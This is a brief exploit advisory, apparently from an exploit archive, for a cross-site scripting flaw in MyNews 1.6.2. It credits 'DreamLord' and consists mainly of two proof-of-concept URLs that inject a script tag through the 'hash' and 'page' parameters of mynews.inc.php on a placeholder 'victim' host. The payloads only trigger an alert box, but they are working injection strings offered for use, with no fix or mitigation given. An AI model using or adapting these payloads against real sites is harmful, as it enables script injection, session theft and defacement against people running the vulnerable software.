MyNews 1.6.2 Cross Site Scripting

MyNews 1.6.2 Cross Site Scripting

Site:http://www.planetluc.com/

Credit : DreamLord
webpage:www.cyber-soldiers.org
Mail :[email protected]

Shadowed Portal
http://victim/path/mynews.inc.php?hash="><script>alert(/DreamlorD/)</script>
http://victim/path/mynews.inc.php?hash=cce496a942d7279c14d7da556c14c7b6&mnid=2&page="><script>alert(/DreamlorD/)</script>

Source:

http://www.cyber-soldiers.org/Dream/mynews.txt